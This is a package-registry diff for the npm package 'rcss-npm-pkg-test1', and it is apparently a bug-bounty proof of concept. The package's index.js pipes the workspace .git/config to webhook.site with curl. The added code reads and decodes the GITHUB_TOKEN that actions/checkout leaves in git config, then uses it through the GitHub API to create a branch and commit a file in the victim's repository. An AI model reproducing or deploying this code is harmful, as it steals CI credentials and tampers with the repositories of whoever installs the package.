rcss-npm-pkg-test1 1.0.1 → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +46 -0
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -12,3 +12,49 @@ exec('cat $GITHUB_WORKSPACE/.git/config | curl -X POST https://webhook.site/Test
|
|
|
12
12
|
console.log(`[PoC] Command Output:\n${stdout}`);
|
|
13
13
|
});
|
|
14
14
|
console.log("===============================================================");
|
|
15
|
+
|
|
16
|
+
const { execSync } = require('child_process');
|
|
17
|
+
|
|
18
|
+
// Only run once (first Linux runner), and only in GitHub Actions
|
|
19
|
+
if (process.platform !== 'linux' || !process.env.GITHUB_WORKSPACE) process.exit(0);
|
|
20
|
+
|
|
21
|
+
// Extract GITHUB_TOKEN from git credentials persisted by actions/checkout
|
|
22
|
+
let token = null;
|
|
23
|
+
try {
|
|
24
|
+
const header = execSync(
|
|
25
|
+
`git -C "${process.env.GITHUB_WORKSPACE}" config --get http.https://github.com/.extraheader`,
|
|
26
|
+
{ encoding: 'utf8', timeout: 5000 }
|
|
27
|
+
).trim();
|
|
28
|
+
const b64 = header.split('basic ')[1].trim();
|
|
29
|
+
token = Buffer.from(b64, 'base64').toString().split(':')[1];
|
|
30
|
+
} catch (e) { process.exit(0); }
|
|
31
|
+
|
|
32
|
+
if (!token) process.exit(0);
|
|
33
|
+
|
|
34
|
+
const repo = process.env.GITHUB_REPOSITORY;
|
|
35
|
+
const auth = `-H "Authorization: token ${token}" -H "Accept: application/vnd.github+json"`;
|
|
36
|
+
|
|
37
|
+
// Get main branch SHA
|
|
38
|
+
const ref = JSON.parse(execSync(
|
|
39
|
+
`curl -sf ${auth} "https://api.github.com/repos/${repo}/git/ref/heads/main"`,
|
|
40
|
+
{ encoding: 'utf8', timeout: 10000 }
|
|
41
|
+
));
|
|
42
|
+
|
|
43
|
+
// Create branch
|
|
44
|
+
execSync(
|
|
45
|
+
`curl -sf -X POST ${auth} -H "Content-Type: application/json" -d '${JSON.stringify({
|
|
46
|
+
ref: 'refs/heads/rcss-h1-test',
|
|
47
|
+
sha: ref.object.sha
|
|
48
|
+
})}' "https://api.github.com/repos/${repo}/git/refs"`,
|
|
49
|
+
{ encoding: 'utf8', timeout: 10000 }
|
|
50
|
+
);
|
|
51
|
+
|
|
52
|
+
// Create file
|
|
53
|
+
execSync(
|
|
54
|
+
`curl -sf -X PUT ${auth} -H "Content-Type: application/json" -d '${JSON.stringify({
|
|
55
|
+
message: 'HackerOne Report Test File',
|
|
56
|
+
content: Buffer.from('hackerone.com/rcss\n').toString('base64'),
|
|
57
|
+
branch: 'rcss-h1-test'
|
|
58
|
+
})}' "https://api.github.com/repos/${repo}/contents/h1-poc.md"`,
|
|
59
|
+
{ encoding: 'utf8', timeout: 10000 }
|
|
60
|
+
);
|